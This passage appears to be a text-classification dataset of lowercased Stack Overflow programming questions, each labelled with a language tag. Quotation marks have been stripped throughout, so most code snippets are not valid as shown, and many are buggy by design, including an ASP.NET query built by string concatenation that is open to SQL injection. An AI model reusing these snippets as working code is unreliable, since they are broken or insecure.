void (*func)(id  sel  id) = (void *)imp; func(self  propertysetterselector  objecttoset); </code></pre>   but  if for some reason a property is <code>readonly</code> the selector won t exist  so i m looking for an alternative.  i ve found a way to identify that a property is readonly here:   <pre><code>- (nsmutablearray *) getpropertynames {      // prepare package     nsmutablearray * propertynames = [nsmutablearray array];      // fetch properties     unsigned count;     objc_property_t *properties = class_copypropertylist([self class]  &amp;count);      // parse out properties     for (int i = 0; i &lt; count; i++) {         objc_property_t property = properties[i];         const char * name = property_getname(property);         // nslog(@ name: %s   name);         const char * attributes = property_getattributes(property);         nslog(@ attributes: %s   attributes);         nsstring * attributestring = [nsstring stringwithutf8string:attributes];         nsarray * attributesarray = [attributestring componentsseparatedbystring:@   ];         if ([attributesarray containsobject:@ r ]) {             // is readonly             nslog(@ %s is read only   name);              // -- can i set the property here  -- //             // property = @ set ;           }         // add to our array         [propertynames addobject:[nsstring stringwithutf8string:name]];     }      // free our properties     free(properties);      // send it off     return propertynames; } </code></pre>   perhaps if there s a way to set a <code>objc_property_t</code> ref directly.   <h3> update </h3>   through comments  i ve realized there s some confusion.  i think the core of my question is whether or not its possible to set an unknown property at runtime another way besides calling the selector like i m doing.   <h3> resources </h3>   full project: <a href= https://github.com/loganwright/plistmodel  rel= nofollow noreferrer >here!</a>    codereview post that prompted this question: <a href= https://codereview.stackexchange.com/a/48723/38794 >here!</a>   <h3> setvalue: forkey: update </h3>   i have a readonly property:   <pre><code>@property (readonly) nsstring * readonlyproperty; </code></pre>   i declare this in the class:   <pre><code>+ (bool) accessinstancevariablesdirectly {     return yes; } </code></pre>   i call this:   <pre><code>[self setvalue:@ hi  forkey:[nsstring stringwithutf8string:name]];  // -- or -- //   [self setvalue:@ hi  forkey:[nsstring stringwithformat:@ _%@  [nsstring stringwithutf8string:name]]]; </code></pre>   either way  value is still null.,objective-c
css image with div border  this may be hard to describe with english. i want an image (50x50 with a <code>margin-right:20px</code>) and then next to that image (to the right) i want a div (with border) to go to the end of the container.  the container can be any size (so static values would be... well yuck).  i was wondering if there was a way to do this without javascript.      so if i did something like this:   <pre><code>.img { width:50px; margin-right:20px } .content { height:30px; line-height:30px; padding:10px 0; border:1px solid #272727 } </code></pre>   and i want that code to look like something like this:   <pre><code>&lt;div id= some-global-container-that-is-a-resizable-length &gt;     &lt;div class= img &gt;         &lt;img src= myimage.png &gt;     &lt;/div&gt;     &lt;div class= content &gt;         here is some content i want to be displayed from my server     &lt;/div&gt; &lt;/div&gt; </code></pre>   if i accidentally i forgot to close a tag or something its ok  the real code was not made in the stack overflow wysiwyg... this is a css question.. k thx!   <hr>   i forgot to say this...<br>     if i try to do the .img with <code>float:left</code> it will appear  within  the other div... which is not what i want and <code>display:inline</code> will make the div (with border) appear below the image div.,css
is it too early for .net 4 beta 2 migration  just wondering if it is too early to migrate to .net fw beta 2. we have a wpf app which uses graphics such as images  shapes and also flash in it intensively. just wondering how others experiences have been. thanks n,.net
variable is pushed  but it doesn t exist later  i have the following code:   <pre><code>const scenariolist = [] const randomscenario = () =&gt; {   return scenariolist[math.floor(math.random() * scenariolist.length--)] } class scenario{   setbg(){     //screen.bg = this.bg     //screen.redraw()   }    write(text  buttons  callback){     //$( #gametext &gt; span ).html(`&lt;span&gt;${text}&lt;/span&gt;`)     //input.settext(buttons)     //input.bindall(callback)   }    constructor(imgsrc  text  actions  callback){     let img = new image()     img.src = imgsrc      this.bg = img     this.text = text     this.actions = actions     this.callback = callback      scenariolist.push(this)     console.log(scenariolist)   } } </code></pre>   i init the class the following (and this is in the global scope)   <pre><code>new scenario( ./bg/1.png    you look around and see a huge mountain  what do you do   [    climb it!!      walk around      other direction      rest   ]  [   () =&gt; {     alert( a )   }    () =&gt; {     alert( a )   }    () =&gt; {     alert( a )   }    () =&gt; {     alert( a )   }  ]) </code></pre>   and verify with console.log(scenariolist)   <blockquote>    [scenario]  </blockquote>   so its appended  but when i later try to do a <code>console.log()</code> on the same variable it is the following:   <blockquote>    []  </blockquote>   code that causes it:   <pre><code>const startgame = () =&gt; {   alert( were here ) // this executes at the correct time  but later then variable init.   let scn = randomscenario()   console.log(scenariolist)   scn.write()   scn.setbg() } </code></pre>   i am not seeing why this would happen  anyone can give me a push in the right direction,javascript
how to compare time in angular.js   i am have two variable    <pre><code>1)$scope.priviuoslevelcutofftime like 12:00 2)data.cutofftime(form json) like 13:00 </code></pre>   i want to compare this two times are equal or greater by using anguler js can anyone explain me how i can compre,angularjs
add dynamic dotnet webcontrol into attribute value of static html  easy one to explain. is there any way i can do this:   <pre><code>&lt;div id= header  style= &lt;asp:literal runat= server  id= litbackgroundimage &gt;&lt;/asp:literal&gt;  &gt; </code></pre>   it looks valid  but visual studio will not recognise litbackgroundimage as a valid control in the code-behind. setting the div as runat= server  won t work either because the style property is read-only.    any suggestions gratefully received,.net
can visual studio overwrite an application   i have two visual studio vb.net applications. previously  i have published each application separately as application a and application b. recently  i rewrote application a to encorporate both a &amp; b. now i would like b to point to a  so if the users have either a or b on their computers  both applications will load application a. how can i do this,.net
preliminary server check for updated webpage(s) in html  i am having difficulty finding a successful way to implement an http header that more or less says:   <blockquote>   <blockquote>     <blockquote>        this webpage has been updated so do not cache until after it has gone back to the server&lt;&lt;&lt;      </blockquote>   </blockquote> </blockquote>   i have looked online and think that the best way to go about this is using the <strong>last-modified</strong> header. i am just having trouble with the logic behind doing so.    this should be a helpful tool for multiple people who are constantly updating a website/webpages so their clients who visit regularly do not see the cached version of their site but rather the updated version.    thanks in advance.    -justin,html
why do i have to use  _object  instead of  object   in xcode 4.6  i m creating an array like this    <pre><code>entries = [[nsmutablearray alloc] init]; </code></pre>   it says i can t and i have to do it this way -   <pre><code>_entries = [[nsmutablearray alloc] init]; </code></pre>   in the tutorial i m following the former should be fine. why isn t it here,objective-c
split vector 3d array based on z value ~ python  i am making a c4d plugin and was wondering: <strong>how do you use groupby to split an array based on a contained value </strong>    i send this code over to a splinebuilder function  but if i send the splinelist as is  i get a connection between lines  which don t want.    <a href= https://i.stack.imgur.com/laeya.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/laeya.png  alt= enter image description here ></a>    so i need to send separated lists so the <strong>splinebuilder</strong> creates sets of those lines  avoiding the interconnection.    <a href= https://i.stack.imgur.com/ugzjh.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ugzjh.png  alt= enter image description here ></a>   <pre><code>#initial contains xyz vectors  splinelist = [(-200  0  -200)  (0  0  -200)  (200  0  -200)  (-200  0  0)  (0  0  0)  (200  0  0)  (-200  0  200)  (0  0  200)  (200  0  200)]   #desired handcoded for example separated based on z value  la = [(-200  0  -200)  (0  0  -200)  (200  0  -200)] lb = [(-200  0  0)  (0  0  0)  (200  0  0)] lc = [(-200  0  200)  (0  0  200)  (200  0  200)]   #desired list of lists based on z value  desiredlist = [[(-200  0  -200)  (0  0  -200)  (200  0  -200)] [(-200  0  0)  (0  0  0)  (200  0  0)] [(-200  0  200)  (0  0  200)  (200  0  200)]] </code></pre>,python
event handler with parameters  i have problem with handler event. i need create handler with one nsstring parameter. i try  but it doesn t work. sample code:   <pre><code>@interface example : nsobject {     id target;     sel action; }  - (id)initwithtarget:(id)targetobject action:(sel)runaction; - (void)activate; @end  @implementation example - (id)initwithtarget:(id)targetobject action:(sel)runaction {     if (self = [super init]) {         target = targetobject;         action = runaction;     }     return self; }  - (void)activate {     [target performselector:action withobject:self withobject: @ my message ]; } @end  @interface examplehandler : nsobject {  }  -(void):init; -(void)myhandler:(nsstring *)str;  @end  @implementation examplehandler  -(void)init {     [super init];     example *ex = [[example alloc] initwithtarget: self action: @selector(myhandler) ];  }  -(void)myhandler:(nsstring *)str {     nslog(str); }  @end </code></pre>   what should i change in my code that i have handler with one parameter,objective-c
jquery: transform and appendto()  alright  i have this function which is executed the moment a user drop s a div to a table.   <pre><code>function execcarddrop( $droppedcard ) {     $droppedcard.appendto(boardtable()); //board table return s the table s id... } </code></pre>   $droppedcard is the actual div  now before appending i would need to transform it as a td cell item so that the table add s it properly.    now what are my options  should i re-construct the item by getting it s values in another function or could i just wrap it in  before appending,jquery
getting values from one aspx page to other  hi i have two aspx pages page1.aspx and page2.aspx. i have an insertbutton on page1. when i click insert i am opening page2.aspx using javasript( window.open). now  in page2  i am giving some input in textboxes. when click on ok button on page2 that page has to be closed and i have to use those inputs in page1. how can i do this..    could some one help me pls   (i tried using session. but it didn t wrk for me.)    thanks,asp.net
copy files with strange name in python got error 22  i try to copy files with arbitrary names in windows 7 64bit with python using os   shutil.copy2 and win32.file.copyfile. i copied all the files in certain folders. sometimes i had ioerror error 22 whenii had non english letters in the file names.  in gui  i can easily copy them without any problem with mouse. any api i should consider  any suggestion   like replacimg all the illegal letter automatically,python
i have to download a large number of big size images and show in table view   i am getting memory warning when loading large images  i have to cache the images also so that if the user will scroll up that image should be present. i am using sdwebimage library.                                                                                                           cell!.productimageview .sd_setimagewithurl(url),ios
css div margin-top  i have a question about margin in css. i have a div element  which has an image for background. inside that div i have another div. i want this div inside to be 200px from the top. but  when i do that  the outside div also moves down for 200px. why is that and how to keep the outside div on top,css
mobile number verification with missed call in ios  i don t know this question is a good question or dumb question  but i research on so from last 3 days  only this <a href= https://stackoverflow.com/questions/19308502/ios-how-can-i-verify-that-the-phone-number-entered-is-actually-the-users-phone-n >link</a> i am able to see. and in this link i am not getting any solution for my issue.     my question is how to verify my mobile number with a missed call. i got from some answer  have to use  <strong>dial2verify</strong>  api. but no one can said  <em>how to use that api</em>  in ios mobile application through coding. i follow <strong>dial2verify</strong> site for more information  but its only for php developer.    my requirement is: i have a call button on my app screen  when i pressed that button  that method will call to <strong>dial2verify</strong> api  and give a missed call to <strong>dial2verify</strong> api and after register dial2verify will send that api key/ mobile number to my app server  then app server will check the mobile number is registered or not  if register then it directly go to home page off app otherwise stay on that login page.,ios
reading txt files in a choosen directory <pre><code>#include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;dirent.h&gt;  int main (void) {   dir *dp;   struct dirent *ep;        dp = opendir ( ./ );    if (dp != null)   {     while (ep = readdir (dp))       puts (ep-&gt;d_name);      (void) closedir (dp);   }   else     perror ( couldn t open the directory );    return 0; } </code></pre>   this code gives me all things in that directory. it works like  ls  command. for example let s say i have one folder which is name is  folder  and one .txt file which is name is  input  (names are could be different btw)   in that directory. i want to decide if it is folder or txt file.if it is txt file how can i read it,c
why this code is giving exception  why i am getting this exception     i am new to java and stackoverflow   <pre><code>arraylist&lt;a&gt; a = new arraylist&lt;a&gt;(); arraylist&lt;b&gt; b = new arraylist&lt;b&gt;();  a.add(new a( a )); a.add(new a( b )); a.add(new a( c ));  b.add(new b(new a( a )   a )); b.add(new b(new a( b )   b )); b.add(new b(new a( c )   c ));  system.out.println(a); system.out.println(b);  biterator = b.iterator(); while(biterator.hasnext()) {     b.add(new b(biterator.next()   a )); } </code></pre>   error   <pre><code>exception in thread  main  java.util.concurrentmodificationexception </code></pre>,java
javascript - difference between this and var in class object  would like to know what is the difference between variable test1 and test2 in the following code.   <pre><code>function myclass(){ var test1 =  abc ; this.test2 =  def ;  this.method1 = function(){     someobj(this.success); }  this.success = function(){     console.log(test1); //able to output value     console.log(this.test2); //unable to get the output             console.log(test2); //unable to get the output } } </code></pre>   edit: to make more precise  i was trying to access to the variable from an inner function. i couldn t access to the test2 variable  but able to extract the value from test1.,javascript
how do i shorten to write {{id}} instead of {{object.id}} in angularjs  (when  object  is json)  this maybe a too basic question  but i couldn t google it for ages.     say i have $scope as    <blockquote>    $scope.object = {id:1  name: stackoverflow };  </blockquote>   and in html  i want to call simply   <blockquote>    {{id}}  </blockquote>   instead of   <blockquote>    {{object.id}}  </blockquote>   is there a simple way to achieve this  (without a loop to map json attributes to $scope variables etc)    maybe something simple like... (i know this won t work)   <pre><code>&lt;div ng-scope= object &gt; {{id}} &lt;/div&gt; </code></pre>   ==== update ===    guess there s no default (natural or easy) way of achieving this without manipulating $scope. (i.e. adding more watches (= overheads) etc)     well... after more research  i think this maybe a really bad idea in  angularjs. see this video. <a href= https://egghead.io/lessons/angularjs-the-dot  rel= nofollow >https://egghead.io/lessons/angularjs-the-dot</a>    i just wanted to use my existing code from laravel (blade templating engine). guess i will have to write  . (dots) to prevent unexpected behaviors for now. i have like 100s of them  so it feels so repetitive.     this is just a simple task in backend frameworks.     i will vote up all the relevant your answers! :d    thanks!,angularjs
css : single id selector vs. id selector followed by more stuff  i just saw this in a css file:   <pre><code>#nav { margin: 13px 0 0 0; }  #nav ul li { margin: 0 20px 0 0; } </code></pre>   doesn t the second #nav property definition cancel out the first #nav property definition      (also: am i saying this right   property definition   what s the generally accepted term for the stuff inside the curly brackets ).,css
how can i higlight the correct cell in php  i am trying to make a function in php which writes out a table  and looks in the database to find what cells should have info. the grid will always be the same size  but the content may be in different places.    i ve gotten it to be able to look in the database  though it seems to only highlight the first cell  rather than the correct coordinates.   <pre><code>require( sql.php ); $sql = &lt;&lt;&lt;sql   select *   from `maps`   where `objpresent` = 1   sql;  if(!$result = $db-&gt;query($sql)){   die( there was an error running the query [  . $db-&gt;error .  ] );  } // ran the query $xobj = array(); $yobj = array(); while($row = $result-&gt;fetch_assoc()){   //echo $row[ x ] . $row[ y ] . $row[ object ] .  &lt;br /&gt; ;   $xobj[] += $row[ x ];   $yobj[] += $row[ y ];  }// get the rows  //find whether the row is obstructed for($a=0; $a&lt;=20-1; $a++) //rows (y)   {     for($i=0; $i&lt;=25-1; $i++) //cols (x)       {         echo  &lt;td&gt; ; //between these write the apt content         // if (empty($xobj[$i]) || empty($yobj[$a]) ){         //  echo  0 ;         //} //detect whether there is even a record for this space         if(!empty($xobj[$i]))           {             if(!empty($yobj[$a]))               {                 echo $xobj[$i]; //debug                 if($xobj[$i] == $i)                   {                     //echo $xobj[$i];                     echo  a ;                   }               }           }         //echo  &lt;td&gt;&lt;img src= emptysym.png &gt;&lt;/img&gt;&lt;/td&gt; ;         echo  &lt;/td&gt; ; //add textual descriptions for now  add icons later       }     echo  &lt;/tr&gt; ;   } </code></pre>   this is my current(though rather messy) code. if there is a row with the column x saying 2  and the column y saying 3  then it should put a letter at (2 3. is it possible to fix this  or is there a better method for this,php
sending email to gmail account using php  i am trying to send mail to gmail account from my web site. it seems that everything is fine at the code level. can you guys please look into this issue: even if i run this script  mail is not received to gmail account.    <pre><code> &lt; php         if(isset($_post[ submit ])){         ini_set( smtp   localhost );          $msg= name :  .$_post[ name ]. \n                  . email :  .$_post[ email ]. \n                  . message :  .$_post[ message ];                  mail( aa@gmail.com   message from contact us  $msg);                      }          else{                echo  cannot send email ;             }           &gt; </code></pre>,php
simple php class  undefined variable   i m learning about classes and objects in php  and i m getting really confused. this is what i have so far:   <pre><code>&lt; php  class ipinfo {     public $test1 =  test ; }  $test = new ipinfo(); echo $test-&gt;$test1;   &gt; </code></pre>   whenever i run it  i get these errors:   <pre><code>notice: undefined variable: test1 in //// on line 9  fatal error: cannot access empty property in //// on line 9 </code></pre>,php
rails  custom finders  so i want to be able to get an object using <code>find_by_id_or_name</code>  i feel like i saw another question like this but am trouble finding any resources on making my own finder.,ruby-on-rails
in asp.net while extracting the data between two dates according to session variable  it is a search page based on the dates selecting the table name according to session prefix value.but its giving error as invalid column name  alv .  alv  is one of prefix value.   <pre><code>protected void button1_click(object sender  eventargs e)     {         datetime fromdate;         datetime todate;          if (datetime.tryparse(txtfrom.text  out fromdate) &amp;&amp; datetime.tryparse(txtto.text  out todate))         {              if (dropdownlist1.selecteditem.text ==  routetogrowth )             {                   sqlconnection con = new sqlconnection(configurationmanager.connectionstrings[ constr ].tostring());                 con.open();                 string prefix = session[ prefix ].tostring();                 string sqlstatement1 =   select actionid rid  h.userid h.date h.tablename h.feedback h.status from history h logintable l where l.userid=h.userid and h.tablename= routetogrowthrecord_st   and l.prefix=  + prefix +   and date between @from and @to  ;                 sqlcommand cmd1 = new sqlcommand(sqlstatement1  con);                 cmd1.parameters.add( @from   sqldbtype.date).value = fromdate;                 cmd1.parameters.add( @to   sqldbtype.date).value = todate;                 cmd1.parameters.add( @prefix   sqldbtype.varchar).value = prefix;                 cmd1.commandtype = commandtype.text;                 cmd1.executenonquery();                 gridview1.databind();                 con.close();             }         }         else         {             clientscript.registerstartupscript(page.gettype()   validation    &lt;script language= javascript &gt;alert( please fill the data correctly )&lt;/script&gt; );         } } </code></pre>,asp.net
transparent backgrounds in ie over an image slideshow  i am working on page that has a text box over an image slideshow.  the text box has a transparent background-image defined.  in all browsers  the transparency works as expected when the page first loads up.  however  in ie7 (and presumably other versions  but haven t gotten their yet) the transparency doesn t work when image changes.    searching around hasn t indicated where the problem lies  so i m having a hard time determining the fix.  i ve tried changing the z-indexes (maybe background image was below the slideshow image) without any luck.      any come across a similar problem    <hr>   i should also note that i am using a png for alpha transparency.  when the slideshow image changes  the div text box shows up  but does not appear to have the image background.,html
how do i align input field and submit button (also differences between: ie  ffox  chrome)   i am having problems styling form fields with css. as you can see below i am trying to get an input field and then to its right the submit button. however for some reason i can t get them to align correctly on any browser  nor can i get them to at least look the same in them and finally everything goes bad when i zoom as well!    i have tried the  line-height:normal !important;  solution  but that doesn t seem to work either...    what am i doing wrong     <em>ie7 (xp)</em>      <img src= https://i.stack.imgur.com/1ziqi.png  alt= ie7 ><br> <em>ffox (linux)</em>    <img src= https://i.stack.imgur.com/tdbho.png  alt= ffox ><br> <em>chrome (linux)</em>    <img src= https://i.stack.imgur.com/wxppl.png  alt= chrome ><br> css (nothing for subscribe_form):   <pre><code>#form_box {     position: relative;     height: 35px;     top: 7px;     left: 20px;  }  #subscribe_email {     border: solid 1px #ccc;     height: 24px;     width: 250px;     font-size: 15px;     color: #999;     padding-left: 5px; }  #subscribe_submit {     position: relative;     border: solid 1px #ccc;     height: 25px;     width: 115px;     color: white; } </code></pre>   html:   <pre><code>        &lt;div id= box2  class= tbox &gt;             &lt;div id= form_box &gt;             &lt;form id= subscribe_form  action= subscribe  method= post &gt;                 sign up:                 &lt;input class= tbox  id= subscribe_email  type= text  name= email  value= email address  /&gt;                 &lt;input class= tbox  id= subscribe_submit  type= submit  value= subscribe  /&gt;             &lt;/form&gt;             &lt;/div&gt;         &lt;/div&gt; </code></pre>,css
can i replace name of structure or array in c   i would like to know whether there is a way i can replace the name of a structure or array like below...   <pre><code>struct node {  char branch[2];  int angle;  };  struct node a[]={{ f  135} { d  135} { g  90}}; . . . . . char des_branch=  a ;  (if des_branch[0].branch ==  f ) </code></pre>   ....... i would like to replace <strong>a[0]</strong> with <strong>des_branch[0]</strong>. is there a way i can do it     thank you.,c
mixing calc() and linear-gradient in multiple background not working in ie9  i want to reduce the usage of unnecessary div so i m using multiple-background. but in ie9 it doesn t seems to work.    <pre><code>background: url(../images/home-2000.jpg) no-repeat -webkit-calc(50% - 200px) top  -webkit-linear-gradient(0deg  #dfe2e7 50%  white 50%); background: url(../images/home-2000.jpg) no-repeat calc(50% - 200px) top  linear-gradient(90deg  #dfe2e7 50%  white 50%); filter: progid:dximagetransform.microsoft.gradient(startcolorstr= #dfe2e7   endcolorstr= #ffffff  gradienttype=1 ); -webkit-background-size: auto 100%; background-size: auto 100%; </code></pre>,css
showing outlook instead of displaying a message in c#.net <pre><code>process[] pname = process.getprocessesbyname( outlook );  if (pname.length == 0) {     messagebox.show( outlook is not running. ); // open outlook a new. } else {     messagebox.show( outlook is running. ); // do not re-open outlook. } </code></pre>   how can i replace the messagebox that tells the user that outlook is already running to showing the microsoft outlook application on top of all applications in c#.net,c#
$scope in not working outside get function  the second console is getting undefined but first one is working fine. previously it was working  don t know it has stoped working.   <pre><code>angular.module( jobportal ).controller( useractivitycontroller  function($rootscope  $scope  $http  $timeout $stateparams $cookies  useractivity){      var token = $cookies.get( token );     var param ={ token : token};     useractivity.user_get(param).success(function(data) {         $scope.user_id = data._id;         console.log($scope.user_id);     });      console.log($scope.user_id);      $scope.profilecompletion = function(form) {         //console.log($scope.user_id);          var param = $scope.profcomp;         param.user_id = $scope.user_id;         console.log(param);         useractivity.save_details(param).success(function(data) {             //$scope.lastactivityid = data._id;             window.location.href =  /vendor#/upload-resume ;         });     }  }); </code></pre>,angularjs
sql query - select value from t1 where second value fully met in t2  i can do this in an ugly stored procedure with temp tables and whatnot  but i know an experienced developer could do this so much more elegantly than what i ve come up with. in fact  i d kind of rather not have to call the sproc at all  but just have one query that gives me what i need.    i m working with two tables:    <ul> <li>t1 billingdirectivesneeded </li> <li>t2 billingdirectives.</li> </ul>   t1 has two fields relevant to this task -    <ul> <li>pkey </li> <li>wbs1. </li> </ul>   there will be many pkeys associated with each wbs1.    t2 has only one field of interest   <ul> <li>pkey.</li> </ul>   the task i m trying to address is geting a list of wbs1s from t1 that have all of their needed directives in t2 before i enable their import.      we want to import a wbs1 only when all of the pkeys for that wbs1 are found in t2.  if not  i ll just leave them grayed out.    i ve tried a dozen different ways to get this to happen over the last few hours  and i seem to have a mental block.   the pseudo-code would look something like this:   <pre><code>select t1.wbs1 from billingdirectiveneeded t1  where [all the t1.pkeys for t1.wbs1 can be found in billingdirectives t2] </code></pre>,sql
rails - unable to create polymorphic nested model  i have an app with three models.  at the highest level is a <code>jobspec</code>   <pre><code>class jobspec &lt; activerecord::base   belongs_to :job_template  polymorphic: true  dependent: :destroy  inverse_of: :job_spec   accepts_nested_attributes_for :job_template end </code></pre>   this has a polymorphic association with a <code>job_template</code>  one of which is a <code>gooddataextract</code> template   <pre><code>class gooddataextract &lt; activerecord::base   has_one :job_spec  as: :job_template  inverse_of: :job_template   has_many :gooddata_reports  dependent: :destroy  inverse_of: :gooddata_extract   accepts_nested_attributes_for :gooddata_reports  reject_if: :all_blank  allow_destroy: true end </code></pre>   which in turn has a one-to-many relationship with a <code>gooddatareport</code>   <pre><code>class gooddatareport &lt; activerecord::base   belongs_to :gooddata_extract  inverse_of: :gooddata_report end </code></pre>   i m having trouble constructing a parameter hash that will create the <code>gooddatareport</code> items.  when i use   <pre><code>jobspec.create(job_template_type:  gooddataextract   job_template_attributes: { gooddata_pid:  abcdefg   gooddata_reports_attributes: {  1  =&gt; { name:  george   report_oid:  123456  } } }) </code></pre>   the <code>jobspec</code> and <code>gooddataextract</code> records get created just fine  but not the <code>gooddatareport</code> records.  there are no error messages or anything  they just fail to get created.    any ideas what i might be missing,ruby-on-rails
.net 4.0 app on .net 4.5.2 configuration error  i have a .net 4.0 wcf service hosted on a machine running .net 3.5 compact and .net 4.5.2.     whenever i try to run the service i get a <code>configuration error</code> with the following message:    <code>parser error message: unrecognized attribute  targetframework . note that attribute names are case-sensitive.</code>   <pre><code>line 2:  &lt;configuration&gt; line 3:    &lt;system.web&gt; line 4:      &lt;compilation debug= true  targetframework= 4.0  /&gt; </code></pre>   i thought 4.5.x frameworks were a replacement for 4.0. how can this be resolved,.net
uitable editing mode make my cell button displays outside the cell  i am using uitable view to show data. i have uibutton in each cell on right side.when i select edit mode in table my uibutton displays outside from table.please tell me what should i do.       krishan,iphone
how to use push notification in iphone sdk3.0   i am new in the iphone application development. first tell me what is push notification  why we use push notification  and last how we can use push notification,iphone
python strange exception. have i found my first python bug or is this a noob mistake   let me start by saying  i also get the same error whey defining <code>__init__</code> and running <code>super()</code> s <code>__init__</code>. i only simplified it down to this custom method to see if the error still happened.   <pre><code>import htmlparser  class spider(htmlparser):             just a subclass.         </code></pre>   this alone in a module raises the following error:   <pre><code>traceback (most recent call last):   file  d:\my\path\to\my\file     class spider(htmlparser): typeerror: error when calling the metaclass bases     module.__init__() takes at most 2 arguments (3 given) </code></pre>,python
how can i keep user scores inside my iphone app   i m working on a game  but i m having trouble trying to <strong>set the scores and keeping them in a table</strong>. what i ve done is i ve made it to where my <strong>game runs a method at the end of every level to check whether the score should be saved or not</strong>  but i m not sure how to save them and sort them from <strong>highest to lowest</strong>.    this is what my table should include:    <ul> <li><strong>#:</strong></li> <li><strong>name:</strong></li> <li><strong>score:</strong></li> <li><strong>time:</strong></li> </ul>   in that order  i ve also sorted it to only include 14 rows.    what i have on the xib is a scrollview with an image inside that shows the chart and the top fields <strong>[#:   name:   score:   time: ]</strong>. i m not sure how i should display the text for the fields though.    i would greatly appreciate if someone could explain to me <strong>how i would go about making this</strong> and keeping up with the sorting and everything to display them in the table.    <img src= https://i.stack.imgur.com/hkbco.png  alt= scores >    here s my code so far  but it s subject to change  so feel free to correct me where i m wrong or provide me with a different solution.    thanks in advance!   <pre><code>-(void) mgamescoreselected {     if (![sgamescoresscore isequaltostring:@  ]) {         sscoresrowcurrent = [nsstring stringwithformat:@ %i | %@ | %@ | %@   igamescoresplace sgamescoresname  sgamescoresscore  sgamescorestime];          klog(@ %@   sscoresrowcurrent);     } }  -(void) mgamescoredetermine {     bgamescoresetfinished = true;      for (int x = 0; x &lt;= 3*14; x++) {         if ([sgamescoresscore intvalue] &gt; [sscoresscores [x-1] intvalue] &amp;&amp; bgamescoresetfinished == true) {             [self mgamescoreselected];             bgamescoresetfinished = false;         } else {             sgamescoresscore = @  ;             sgamescorestime = @  ;         }     } }  -(void) mgamescoreset {         sgamescoresscore = [nsstring stringwithformat:@ %i   igamescorecurrent];     sgamescorestime = [nsstring stringwithformat:@ %i   igametimetotal - igametimecurrent];      klog(@ score: %@   sgamescoresscore);     klog(@ time: %@   sgamescorestime);      [self mgamescoredetermine]; }  -(void) mgameended {     [self mgamescoreset]; } </code></pre>,iphone
more than two rightbarbuttonitem on navigation bar  i would like to have three rightbarbuttonitems on navigation bar. <strong>add edit and delete.</strong>    and i can t make it using interface builder.    does anybody know how to do it programmatically,ios
javascript hoisting odd behavior  how does hoisting explain this behavior    <pre><code>for(var i = 0; i &lt; 4; i++) {     settimeout(function() {         alert( i is:   + i);     }  i * 200); } </code></pre>   the output of this is 4  4  4  4.     this is used as a dangerous example of hoisting often in literature. it makes sense that the latter outputs may be 4 since the i variable is bound to function scope and as such is shared between all calls and by the time they execute i will be 4 having finished the for loop. however  the initial call specifies a timeout of 0 * 200 or 0 and as such i feel this should execute immediately while i is still less than 4. what causes all the output from this function to be 4 s,javascript
don t want to display password in address bar in html       username:<br>     password:<br><br>             <strong>/users/home</strong> is html file displayed on submit button    when i enter username and password as  anuj  and  rohan  they are displayed on the next page in the address bar as <a href= http://localhost:3000/users/home  rel= nofollow >http://localhost:3000/users/home</a> <strong>username=anuj&amp;pwd=rohan</strong>     i don t want to display these things as these are protected. is there any way to encrypt or hide passwords in html.,html
android : consequences of having targetsdk > buildtarget  i wanted to know the consequences of having <code>targetsdk &gt; buildtarget</code>.    i recently observed that if i keep the <code>buildtarget=16</code> and <code>targetsdk=17</code> the tabs on my tablet (running <code>4.1.1</code>  api level 16) moves to the center of the actionbar. i was unable to rationalize the behavior. can somebody shed some light on why this happened,android
getting cents from math c++  right now my code works just that when i get i print out he cents i am off by one because of the the round error the compiler does when you take say 0.95 * 100 it gives me 94 or something that is not 95. i know how the math works to get it normally but with this rounding error i can t do it.    also don t worry about asking me why i am using c and c++ at the same time. its because this is how my instructor wanted it.    here is the relevant code.   <pre><code>if (dollaramount &lt; 10.00 &amp;&amp; dollaramount &gt;= 1.00) {     cents = (dollaramount - static_cast&lt;int&gt;(dollaramount)) * 100;     digit = (((static_cast&lt;int&gt;(dollaramount)/ 1)));      strcat(amountinwords  lookup[digit]);     strcat(amountinwords    dollars and  );  } </code></pre>   whole project code: <a href= https://gist.github.com/anonymous/65c052277c67f03de643  rel= nofollow >https://gist.github.com/anonymous/65c052277c67f03de643</a>,c++
does an instance variable also get default property attributes   if i declare an instance variable   <pre><code>@implementation person {     nsstring *name;    // would this be atomic  strong  readwrite  } </code></pre>   does it get the same default attributes as if i declared it a property (<code>atomic</code>  <code>strong</code>  <code>readwrite</code>)   <pre><code>@interface person() @property nsstring *name;    // would be atomic  strong  readwrite by default @end </code></pre>,objective-c
primary key follows me  i have a table where primary key are auto_increment id. i have a simple code to retrive worlds from table:   <pre><code> server.select( world ) </code></pre>   but with world list i got empty primary key id for all worlds and output looks like:   <pre><code>[{ world : sandbox   id :null} { world : cogitor4   id :null} { world : carnager4   id :null} { world : theos   id :null} { world : amberr4   id :null} { world : dedalr2   id :null} { world : hitech152   id :null} { world : davids152   id :null} { world : magnus152   id :null}] </code></pre>   how i can fix this      table:   <pre><code>create table if not exists `servers` (   `id` int(255) not null auto_increment    `name` varchar(25) collate utf8_unicode_ci not null    `players` int(4) not null    `maximum` int(4) not null    `online` tinyint(1) not null    `ip` varchar(20) collate utf8_unicode_ci not null    `port` int(5) not null default  25565     `server_type` varchar(25) collate utf8_unicode_ci not null    `world` varchar(30) collate utf8_unicode_ci not null    `map` varchar(50) collate utf8_unicode_ci not null    primary key (`id`)    unique key `server` (`name`)    key `ip` (`ip`) ) </code></pre>,ruby-on-rails
type name errors and others in ios project  i am trying to link ios-ngn-stak project to my app following their instructions which written here: <a href= http://code.google.com/p/idoubs/wiki/building_idoubs_v2_x  rel= nofollow noreferrer >http://code.google.com/p/idoubs/wiki/building_idoubs_v2_x</a> but having these new errors  any help please  <img src= https://i.stack.imgur.com/prk3s.png  alt= enter image description here >,ios
firefox placholder style on number inputs  is it possible to style the placeholder of an input field with type number in firefox     example code:   <pre><code>&lt;input type= text  placeholder= foo &gt; &lt;input type= number  placeholder= foo &gt; </code></pre>   css:   <pre><code>input::-moz-placeholder {   color: red; }  input:-moz-placeholder {   color: red; } </code></pre>   <a href= http://codepen.io/anon/pen/yetfb  rel= nofollow >http://codepen.io/anon/pen/yetfb</a>    in webkit the placeholder get s styled corretly. (with the webkit prefixed placeholder style),css
